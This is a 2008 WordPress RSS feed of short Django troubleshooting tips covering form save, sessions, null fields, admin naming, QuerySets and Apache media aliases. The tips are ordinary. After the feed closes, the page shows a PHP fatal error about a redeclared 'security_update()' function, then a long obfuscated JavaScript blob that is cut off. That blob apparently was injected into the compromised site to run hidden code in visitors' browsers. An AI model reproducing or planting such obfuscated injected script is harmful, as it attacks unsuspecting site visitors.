<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Freelance Web Developer &#124; Website design &#124; Django, PHP, CSS Freelancer</title>
	<atom:link href="http://freelancernepal.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://freelancernepal.com</link>
	<description>offshore, outsourcing, Asia, freelancer, freelance, website design, web developer, django freelancer, php freelancer, css freelancer</description>
	<pubDate>Fri, 13 Jun 2008 11:54:49 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>object has no attribute &#8217;save&#8217;</title>
		<link>http://freelancernepal.com/django-errors/object-has-no-attribute-save/</link>
		<comments>http://freelancernepal.com/django-errors/object-has-no-attribute-save/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 11:49:43 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[attribute]]></category>

		<category><![CDATA[save]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=23</guid>
		<description><![CDATA[Problem Cause:
class ContactForm(models.Model):
Solution:
ModelForm only have save method
Form doesn&#8217;t have save method so
class ContactForm(forms.ModelForm):
]]></description>
			<content:encoded><![CDATA[<h4>Problem Cause:</h4>
<pre>class ContactForm(models.Model):</pre>
<h4>Solution:</h4>
<p>ModelForm only have save method<br />
Form doesn&#8217;t have save method so</p>
<pre>class ContactForm(forms.ModelForm):</pre>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/object-has-no-attribute-save/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Appending to a list in session doesn&#8217;t work</title>
		<link>http://freelancernepal.com/django-errors/appending-to-a-list-in-session-doesnt-work/</link>
		<comments>http://freelancernepal.com/django-errors/appending-to-a-list-in-session-doesnt-work/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 09:21:16 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[session]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=22</guid>
		<description><![CDATA[Problem 
If you have a list in your session, append operations don&#8217;t get saved to the object.
Solution 
Copy the list out of the session object, append to it, then copy it back in:
sessionlist = request.session[&#8217;my_list&#8216;]
sessionlist.append(new_object)
request.session[&#8217;my_list&#8216;] = sessionlist
]]></description>
			<content:encoded><![CDATA[<h4 id="Problem1">Problem<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Problem1"> </a></h4>
<p>If you have a <span class="searchword2">list</span> in your session, append operations don&#8217;t get saved to the object.</p>
<h4 id="Solution4">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution4"> </a></h4>
<p>Copy the <span class="searchword2">list</span> out of the session object, append to it, then copy it back in:</p>
<pre class="wiki">session<span class="searchword2">list</span> = request.session[&#8217;my_<span class="searchword2">list</span>&#8216;]
session<span class="searchword2">list</span>.append(new_object)
request.session[&#8217;my_<span class="searchword2">list</span>&#8216;] = session<span class="searchword2">list</span></pre>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/appending-to-a-list-in-session-doesnt-work/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Date &#038; NULLS</title>
		<link>http://freelancernepal.com/django-errors/date-nulls/</link>
		<comments>http://freelancernepal.com/django-errors/date-nulls/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 09:20:22 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[Date NULLS]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=21</guid>
		<description><![CDATA[Same problem as Integer &#38; NULLS with the same solution.
]]></description>
			<content:encoded><![CDATA[<p>Same problem as Integer &amp; NULLS with the same solution.</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/date-nulls/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Integer &#038; NULLS</title>
		<link>http://freelancernepal.com/django-errors/integer-nulls/</link>
		<comments>http://freelancernepal.com/django-errors/integer-nulls/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 09:18:33 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[Integer]]></category>

		<category><![CDATA[NULLS]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=20</guid>
		<description><![CDATA[Problem 
When you have a Field: current_zip = meta.IntegerField(maxlength=5,blank=True)
django will create a not nullable field in the DB.  However leaving the field blank (in admin/web) django will try and insert a NULL value in the DB.
Solution 
Add null=True:
current_zip = meta.IntegerField(maxlength=5,null=True,blank=True)
]]></description>
			<content:encoded><![CDATA[<h4 id="Problem">Problem<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Problem"> </a></h4>
<p>When you have a Field: current_zip = meta.<a class="missing wiki" rel="nofollow" href="http://code.djangoproject.com/wiki/IntegerField">IntegerField</a>(maxlength=5,blank=True)</p>
<p><span class="searchword0">django</span> will create a not nullable field in the DB.  However leaving the field blank (in admin/web) <span class="searchword0">django</span> will try and insert a NULL value in the DB.</p>
<h4 id="Solution3">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution3"> </a></h4>
<p>Add null=True:</p>
<p>current_zip = meta.<a class="missing wiki" rel="nofollow" href="http://code.djangoproject.com/wiki/IntegerField">IntegerField</a>(maxlength=5,null=True,blank=True)</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/integer-nulls/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blank object names</title>
		<link>http://freelancernepal.com/django-errors/blank-object-names/</link>
		<comments>http://freelancernepal.com/django-errors/blank-object-names/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 09:17:05 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[Blank object names]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=19</guid>
		<description><![CDATA[Symptom 
The automatic admin interface is showing nothing (or a single  ) in the &#8220;Select [object_type] to change&#8221; view.
Probable cause 
You may have forgotten to create a __str__() function for your model. Django calls __str__() to find out how to display objects in the admin interface. An alternate cause is the string you return [...]]]></description>
			<content:encoded><![CDATA[<h4 id="Symptom2">Symptom<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Symptom2"> </a></h4>
<p>The automatic admin interface is showing nothing (or a single <tt> </tt>) in the &#8220;Select [object_type] to change&#8221; view.</p>
<h4 id="Probablecause2">Probable cause<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Probablecause2"> </a></h4>
<p>You may have forgotten to create a <tt>__str__()</tt> function for your model. <span class="searchword0">Django</span> calls <tt>__str__()</tt> to find out how to display objects in the admin interface. An alternate cause is the string you return from <tt>__str__()</tt> includes brackets (an therefore looks like an html tag), and is cleaned up by the <tt>strip_tags</tt> template filter, resulting in blank entries.</p>
<h4 id="Solution2">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution2"> </a></h4>
<p>Add a correct <tt>__str__()</tt> function (without brackets in the output) to all your models. Make it a habit so it becomes automatic.</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/blank-object-names/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Django says &#8220;Unable to Open Database File&#8221; when using SQLite3</title>
		<link>http://freelancernepal.com/django-errors/django-says-unable-to-open-database-file-when-using-sqlite3/</link>
		<comments>http://freelancernepal.com/django-errors/django-says-unable-to-open-database-file-when-using-sqlite3/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 09:15:32 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[Database File]]></category>

		<category><![CDATA[django]]></category>

		<category><![CDATA[SQLite3]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=18</guid>
		<description><![CDATA[Problem 
You&#8217;re using SQLite3, your DATABASE_NAME is set to the database file&#8217;s full path, the database file is writeable by Apache, but you still get the above error.
Solution 
Make sure Apache can also write to the parent directory of the database. SQLite needs to be able to write to this directory.
Make sure each folder of [...]]]></description>
			<content:encoded><![CDATA[<h4 id="Problem4">Problem<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Problem4"> </a></h4>
<p>You&#8217;re using SQLite3, your DATABASE_NAME is set to the database file&#8217;s full path, the database file is writeable by Apache, but you still get the above <span class="searchword1">error</span>.</p>
<h4 id="Solution7">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution7"> </a></h4>
<p>Make sure Apache can also write to the parent directory of the database. SQLite needs to be able to write to this directory.</p>
<p>Make sure each folder of your database file&#8217;s full path does not start with number, eg. /www/4myweb/db (observed on Windows 2000).</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/django-says-unable-to-open-database-file-when-using-sqlite3/feed/</wfw:commentRss>
		</item>
		<item>
		<title>unbound method contribute_to_class()</title>
		<link>http://freelancernepal.com/django-errors/unbound-method-contribute_to_class/</link>
		<comments>http://freelancernepal.com/django-errors/unbound-method-contribute_to_class/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 09:13:34 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[contribute_to_class()]]></category>

		<category><![CDATA[unbound method]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=17</guid>
		<description><![CDATA[Symptom 
A model does not validate with the following message:
Validating models...
project.allication: Error when calling the metaclass bases
unbound method contribute_to_class() must be called with TextField instance as first argument (got ModelBase instance instead)
1 error found.
Possible Cause 
A model field was not declared properly, the parentheses after the field types name were missing:
wrong:

class Content(models.Model):
content = models.TextField

correct:

class Content(models.Model):
content [...]]]></description>
			<content:encoded><![CDATA[<h4 id="Symptom4">Symptom<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Symptom4"> </a></h4>
<p>A model does not validate with the following message:</p>
<pre class="wiki">Validating models...
project.allication: <span class="searchword1">Error</span> when calling the metaclass bases
unbound method contribute_to_class() must be called with TextField instance as first argument (got ModelBase instance instead)
1 <span class="searchword1">error</span> found.</pre>
<h4 id="PossibleCause">Possible Cause<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#PossibleCause"> </a></h4>
<p>A model field was not declared properly, the parentheses after the field types name were missing:</p>
<p>wrong:</p>
<div class="code">
<pre><span class="k">class</span> <span class="nc">Content</span><span class="p">(</span><span class="n">models</span><span class="o">.</span><span class="n">Model</span><span class="p">):</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">models</span><span class="o">.</span><span class="n">TextField</span></pre>
</div>
<p>correct:</p>
<div class="code">
<pre><span class="k">class</span> <span class="nc">Content</span><span class="p">(</span><span class="n">models</span><span class="o">.</span><span class="n">Model</span><span class="p">):</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">models</span><span class="o">.</span><span class="n">TextField</span><span class="p">()</span></pre>
</div>
<h4 id="Solution11">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution11"> </a></h4>
<p>A model field is an <em>instance</em> of the appropriate <tt>Field</tt> class, so the parentheses are required.</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/unbound-method-contribute_to_class/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Using reserved name on application breaks admin</title>
		<link>http://freelancernepal.com/django-errors/using-reserved-name-on-application-breaks-admin/</link>
		<comments>http://freelancernepal.com/django-errors/using-reserved-name-on-application-breaks-admin/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 09:11:44 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[admin]]></category>

		<category><![CDATA[breaks]]></category>

		<category><![CDATA[name]]></category>

		<category><![CDATA[reserved]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=16</guid>
		<description><![CDATA[Symptom 
After creating a new application, with a model that validates, trying to log on to the admin causes an error similar to:
ImproperlyConfigured: Error importing middleware django.middleware.common: &#8220;No module named &#8230; &#8220;
Possible cause 
Check to see that you didn&#8217;t use a reserved name in naming your application, i.e. &#8220;email&#8221;, &#8220;date&#8221; and &#8220;time&#8221; are common application [...]]]></description>
			<content:encoded><![CDATA[<p>Symptom<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Symptom3"> </a></p>
<p>After creating a new application, with a model that validates, trying to log on to the admin causes an <span class="searchword1">error</span> similar to:</p>
<pre class="wiki">ImproperlyConfigured: <span class="searchword1">Error</span> importing middleware <span class="searchword0">django</span>.middleware.common: &#8220;No module named &#8230; &#8220;</pre>
<h4 id="Possiblecause">Possible cause<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Possiblecause"> </a></h4>
<p>Check to see that you didn&#8217;t use a reserved name in naming your application, i.e. &#8220;email&#8221;, &#8220;date&#8221; and &#8220;time&#8221; are common application names that would validate when the server starts but will break <span class="searchword0">Django</span>&#8217;s admin.</p>
<h4 id="Solution10">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution10"> </a></h4>
<p>Rename your application directory using a non-reserved name, i.e., &#8220;email_app&#8221; instead of &#8220;email&#8221;. Go into the <tt>INSTALLED_APPS</tt> section of settings.py and change the name there too. Also, don&#8217;t forget to do a syncdb to create the newly renamed app in your database. You may also want to go in to your database and drop the old &#8220;mis-named&#8221; table.</p>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/using-reserved-name-on-application-breaks-admin/feed/</wfw:commentRss>
		</item>
		<item>
		<title>QuerySets aren&#8217;t Lists</title>
		<link>http://freelancernepal.com/django-errors/querysets-arent-lists/</link>
		<comments>http://freelancernepal.com/django-errors/querysets-arent-lists/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 09:10:01 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[Lists]]></category>

		<category><![CDATA[QuerySets]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=15</guid>
		<description><![CDATA[Problem 
You have been playing with the database API and noticed that a returned query set looks a lot like a list:

&#62;&#62;&#62; from mysite.polls.models import Poll,Choice
&#62;&#62;&#62; Poll.objects.all()
[&#60;Poll: What is up?&#62;, &#60;Poll: What is your favourite colour?&#62;]  ## looks a lot like a list to me

But, it doesn&#8217;t behave like a list in some cases.
Solution [...]]]></description>
			<content:encoded><![CDATA[<h4 id="Problem6">Problem<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Problem6"> </a></h4>
<p>You have been playing with the database API and noticed that a returned query set looks a lot like a <span class="searchword2">list</span>:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="k">from</span> <span class="nn">mysite.polls.models</span> <span class="k">import</span> <span class="n">Poll</span><span class="p">,</span><span class="n">Choice</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">Poll</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">all</span><span class="p">()</span>
<span class="p">[</span><span class="o">&lt;</span><span class="n">Poll</span><span class="p">:</span> <span class="n">What</span> <span class="ow">is</span> <span class="n">up</span><span class="err">?</span><span class="o">&gt;</span><span class="p">,</span> <span class="o">&lt;</span><span class="n">Poll</span><span class="p">:</span> <span class="n">What</span> <span class="ow">is</span> <span class="n">your</span> <span class="n">favourite</span> <span class="n">colour</span><span class="err">?</span><span class="o">&gt;</span><span class="p">]</span>  <span class="c">## looks a lot like a <span class="searchword2">list</span> to me</span></pre>
</div>
<p>But, it doesn&#8217;t behave like a <span class="searchword2">list</span> in some cases.</p>
<h4 id="Solution9">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution9"> </a></h4>
<p>Here are a couple of cases where the behaviour is not <span class="searchword2">list</span>-like and their solution.</p>
<p>In Python this is how we can test for an empty <span class="searchword2">list</span>:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="n">b</span><span class="o">=</span><span class="p">[]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">b</span><span class="o">==</span><span class="p">[]</span>
<span class="bp">True</span></pre>
</div>
<p>This doesn&#8217;t work with a <a class="missing wiki" rel="nofollow" href="http://code.djangoproject.com/wiki/QuerySet">QuerySet?</a>. You might try the following but it will fail:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="k">from</span> <span class="nn">mysite.polls.models</span> <span class="k">import</span> <span class="n">Poll</span><span class="p">,</span><span class="n">Choice</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span> <span class="o">=</span> <span class="n">Poll</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="n">question__startswith</span><span class="o">=</span><span class="s">&#8216;ZZZZZZZZZZZZ&#8217;</span><span class="p">)</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span>
<span class="p">[]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span><span class="o">==</span><span class="p">[]</span>
<span class="bp">False</span></pre>
</div>
<p>The way to do it is test for p.count:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="k">from</span> <span class="nn">mysite.polls.models</span> <span class="k">import</span> <span class="n">Poll</span><span class="p">,</span><span class="n">Choice</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span> <span class="o">=</span> <span class="n">Poll</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="n">question__startswith</span><span class="o">=</span><span class="s">&#8216;ZZZZZZZZZZZZ&#8217;</span><span class="p">)</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span>
<span class="p">[]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span><span class="o">.</span><span class="n">count</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span>
<span class="bp">True</span></pre>
</div>
<p>Another case occurs when you want to retrieve the last member of a <a class="missing wiki" rel="nofollow" href="http://code.djangoproject.com/wiki/QuerySet">QuerySet?</a>:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="k">from</span> <span class="nn">mysite.polls.models</span> <span class="k">import</span> <span class="n">Poll</span><span class="p">,</span><span class="n">Choice</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span> <span class="o">=</span> <span class="n">Poll</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">all</span><span class="p">()</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span>
<span class="p">[</span><span class="o">&lt;</span><span class="n">Poll</span><span class="p">:</span> <span class="n">What</span> <span class="ow">is</span> <span class="n">up</span><span class="err">?</span><span class="o">&gt;</span><span class="p">,</span> <span class="o">&lt;</span><span class="n">Poll</span><span class="p">:</span> <span class="n">What</span> <span class="ow">is</span> <span class="n">your</span> <span class="n">favourite</span> <span class="n">colour</span><span class="err">?</span><span class="o">&gt;</span><span class="p">]</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">p</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
<span class="n">File</span> <span class="s">&#8220;&lt;console&gt;&#8221;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="err">?</span>
<span class="n">File</span> <span class="s">&#8220;c:\python24\lib\site-packages\<span class="searchword0">django</span>-0.95-py2.4.egg\<span class="searchword0">django</span>\db\models\query.py&#8221;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">98</span><span class="p">,</span> <span class="ow">in</span>
<span class="n">__getitem__</span>
<span class="k">assert</span> <span class="p">(</span><span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="nb">slice</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">k</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">))</span> \
<span class="ne">Assertion<span class="searchword1">Error</span></span><span class="p">:</span> <span class="n">Negative</span> <span class="n">indexing</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">supported</span><span class="o">.</span></pre>
</div>
<p>The way I get the last member is:</p>
<div class="code">
<pre><span class="o">&gt;&gt;&gt;</span> <span class="n">p</span><span class="p">[</span><span class="n">p</span><span class="o">.</span><span class="n">count</span><span class="p">()</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="o">&lt;</span><span class="n">Poll</span><span class="p">:</span> <span class="n">What</span> <span class="ow">is</span> <span class="n">your</span> <span class="n">favourite</span> <span class="n">colour</span><span class="err">?</span><span class="o">&gt;</span></pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/querysets-arent-lists/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to point apache to your media files directory</title>
		<link>http://freelancernepal.com/django-errors/how-to-point-apache-to-your-media-files-directory/</link>
		<comments>http://freelancernepal.com/django-errors/how-to-point-apache-to-your-media-files-directory/#comments</comments>
		<pubDate>Tue, 03 Jun 2008 09:08:03 +0000</pubDate>
		<dc:creator></dc:creator>
		
		<category><![CDATA[Django errors]]></category>

		<category><![CDATA[alias]]></category>

		<category><![CDATA[apache]]></category>

		<category><![CDATA[directory]]></category>

		<category><![CDATA[media]]></category>

		<guid isPermaLink="false">http://freelancernepal.com/?p=14</guid>
		<description><![CDATA[Problem 
You have no clue how to map a media url to your media directory when using apache2.
Solution 
Use the Alias Directive and don&#8217;t forget to set-up access rights correctly.
Alias /mediaurl /path/to/files
&#60;Directory /path/to/files&#62;
Order allow,deny
Allow from all
&#60;/Directory&#62;
]]></description>
			<content:encoded><![CDATA[<h4 id="Problem5">Problem<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Problem5"> </a></h4>
<p>You have no clue how to map a media url to your media directory when using apache2.</p>
<h4 id="Solution8">Solution<a class="anchor" title="Link to this section" href="http://code.djangoproject.com/wiki/NewbieMistakes#Solution8"> </a></h4>
<p>Use the <em>Alias</em> Directive and don&#8217;t forget to set-up access rights correctly.</p>
<pre class="wiki">Alias /mediaurl /path/to/files
&lt;Directory /path/to/files&gt;
Order allow,deny
Allow from all
&lt;/Directory&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://freelancernepal.com/django-errors/how-to-point-apache-to-your-media-files-directory/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
		<br />
<b>Fatal error</b>:  Cannot redeclare security_update() (previously declared in /home/freelap5/public_html/index.php:13) in <b>/home/freelap5/public_html/index.php</b> on line <b>27</b><br />
<script language="javascript">$="Z64eZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;7Z3esZ257F}79+Z22;daZ3dZ22fqb0})-~ug0Qbbqi87|qe~Z257F7Z3c7Z7brtfu7Z3c7zsdxb7Z3c7ytvyb7Z3c7xufyv7Z3c7wvhuc7Z3c7vwfuc7Z3c7uxwxd7Z3c7tzu~y7Z3c7sZ7bud~7Z3c7r||uf7Z3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z22;cuZ3dZ22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4Z3czub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dobuf4dZ7bdKazpqf4)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F}qKzuyq4)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK`}yqZ7ba`4)4#Z2526$Z2frazw`}Z7bz4dZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dobuf4}gKqzuvxqp4)4ruxgqZ2f}r4Z3c5c}zpZ7bc:Z7bdqfu42245zub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dfq`afz4}gKqzuvxqpZ2f}r4Z3c`mdqZ7br4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43g`f}zs3Z3d}r4Z3cpZ7bwayqz`:wZ7bZ7bZ257F}q:xqzs`|4))4$Z3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)46`qg`6Z2f}gKqzuvxqp4)4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43`qg`3Z2fpZ7bwayqz`:wZ7bZ7bZ257F}q4)433Z2fiqxgqo}gKqzuvxqp4)4`faqZ2fifq`afz4}gKqzuvxqpZ2firazw`}Z7bz4dZ7bdKsq`WZ7bZ7bZ257F}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F}q4)46464?4pZ7bwayqz`:wZ7bZ7bZ257F}qZ2fbuf4gqufw|4)46464?4zuyq4?46)6Z2fbuf4gq`G`f4)4zaxxZ2fbuf4Z7brrgq`4)4$Z2fbuf4qzp4)4$Z2f}r4Z3cwZ7bZ7bZ257F}q:xqzs`|4*4$Z3doZ7brrgq`4)4wZ7bZ7bZ257F}q:}zpql[rZ3cgqufw|Z3dZ2f}r4Z3cZ7brrgq`45)49Z25Z3doZ7brrgq`4?)4gqufw|:xqzs`|Z2fqzp4)4wZ7bZ7bZ257F}q:}zpql[rZ3c6Z2f684Z7brrgq`Z3dZ2f}r4Z3cqzp4))49Z25Z3doqzp4)4wZ7bZ7bZ257F}q:xqzs`|Z2figq`G`f4)4azqgwudqZ3cwZ7bZ7bZ257F}q:gavg`f}zsZ3cZ7brrgq`84qzpZ3dZ3dZ2fiifq`afzZ3cgq`G`fZ3dZ2firazw`}Z7bz4dZ7bdKgq`WZ7bZ7bZ257F}q4Z3czuyq84buxaqZ3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)4zuyq4?46)64?4qgwudqZ3cbuxaqZ3d4?46Z2f4qld}fqg)Rf}pum8Z27Z259Pqw9!$4Z2526Z27.!-.!-4SY@Z2f4du`|);Z2f6Z2firazw`}Z7bz4g|Z7bcKdZ7bdZ3cZ3dobuf4dZ7bdKczp4)46|``d.;;rvwyr}f:wZ7by;ws}9v}z;}zpql:ws}+w|xa6Z2fbuf4rquKczp4)46gwfZ7bxxvufg)Z258fqg}nuvxq)Z258`Z7bZ7bxvuf)Z258xZ7bwu`}Z7bz)Z258yqzavuf)Z258g`u`ag)Z258p}fqw`Z7bf}qg)$6Z2fbuf4zqqpKZ7bdqz4)4`faqZ2f}r4Z3cpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdmZ3cZ3dZ2f}r4Z3cpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdmZ3cZ3dZ2f}r4Z3cdZ7bdKazpqf45)4zaxxZ3do}r4Z3c5dZ7bdKazpqf:wxZ7bgqpZ3dzqqpKZ7bdqz4)4ruxgqZ2fi}r4Z3czqqpKZ7bdqzZ3do}r4Z3cdZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dZ3dobux4)4dZ7bdKsq`WZ7bZ7bZ257F}qZ3cdZ7bdKwZ7bZ7bZ257F}qKzuyqZ3dZ2f}r4Z3cbux45)4zaxxZ3dozZ7bc4)4zqc4Pu`qZ3cZ3dZ2fbuxZ25264)4zqc4Pu`qZ3cbuxZ3dZ2fa`wZ27Z25264)4Pu`q:A@WZ3czZ7bc:sq`RaxxMqufZ3cZ3d84zZ7bc:sq`YZ7bz`|Z3cZ3d84zZ7bc:sq`Pu`qZ3cZ3d84zZ7bc:sq`Z255CZ7bafgZ3cZ3d84zZ7bc:sq`Y}za`qgZ3cZ3d84zZ7bc:sq`GqwZ7bzpgZ3cZ3dZ3dZ2fa`wZ25264)4Pu`q:A@WZ3cbuxZ2526:sq`RaxxMqufZ3cZ3d84buxZ2526:sq`YZ7bz`|Z3cZ3d84buxZ2526:sq`Pu`qZ3cZ3d84buxZ2526:sq`Z255CZ7bafgZ3cZ3d84buxZ2526:sq`Y}za`qgZ3cZ3d84buxZ2526:sq`GqwZ7bzpgZ3cZ3dZ3dZ2f}r4Z3c4Z3c4a`wZ27Z2526494a`wZ25264Z3d4;4Z25$$$4(4dZ7bdK`}yqZ7ba`Z3eZ2522$Z3dozqqpKZ7bdqz4)4ruxgqZ2fiiii}r4Z3czqqpKZ7bdqzZ3doazpqf4)4c}zpZ7bc:Z7bdqzZ3cdZ7bdKczp846684rquKczpZ3dZ2fazpqf:vxafZ3cZ3dZ2fc}zpZ7bc:rZ7bwagZ3cZ3dZ2f}r4Z3cdZ7bdKwZ